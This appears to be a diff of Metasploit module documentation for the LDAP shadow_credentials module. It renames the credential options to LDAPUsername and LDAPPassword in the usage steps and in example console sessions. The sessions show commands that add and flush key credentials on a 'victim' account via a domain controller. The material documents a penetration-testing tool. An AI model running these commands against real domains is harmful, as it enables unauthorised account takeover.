@@ -65,7 +65,7 @@ PropagationFlags : None
65
65
## Module usage
66
66
1 . ` use auxiliary/admin/ldap/shadow_credentials `
67
67
2 . Set the ` RHOST ` value to a target domain controller
68
- 3 . Set the ` USERNAME ` and ` PASSWORD ` information to an account with the necessary privileges
68
+ 3 . Set the ` LDAPUsername ` and ` LDAPPassword ` information to an account with the necessary privileges
69
69
4 . Set the ` TARGET_USER ` to the victim account
70
70
5 . Use the ` ADD ` action to add a credential entry to the victim account
71
71
@@ -154,8 +154,8 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > set domain MSF.LOCAL
154
154
domain => MSF.LOCAL
155
155
msf6 auxiliary(admin/ldap/shadow_credentials) > set ldapusername sandy
156
156
ldapusername => sandy
157
- msf6 auxiliary(admin/ldap/shadow_credentials) > set password Password1!
158
- password => Password1!
157
+ msf6 auxiliary(admin/ldap/shadow_credentials) > set ldappassword Password1!
158
+ ldappassword => Password1!
159
159
msf6 auxiliary(admin/ldap/shadow_credentials) > set target_user victim
160
160
target_user => victim
161
161
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
@@ -233,7 +233,7 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapuser
233
233
Note, however, that attempting to add a second credential will fail under these circumstances:
234
234
235
235
``` msf
236
- msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password =JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
236
+ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword =JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
237
237
[*] Running module against 20.92.148.129
238
238
239
239
[+] Successfully bound to the LDAP server!
@@ -253,7 +253,7 @@ for any legitimate user relying on the existing value.
253
253
``` msf
254
254
msf6 auxiliary(admin/ldap/shadow_credentials) > set action flush
255
255
action => flush
256
- msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password =JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
256
+ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword =JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
257
257
[*] Running module against 20.92.148.129
258
258
259
259
[+] Successfully bound to the LDAP server!
@@ -264,7 +264,7 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapuser
264
264
[*] Auxiliary module execution completed
265
265
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
266
266
action => add
267
- msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password =JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
267
+ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword =JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
268
268
[*] Running module against 20.92.148.129
269
269
270
270
[+] Successfully bound to the LDAP server!
0 commit comments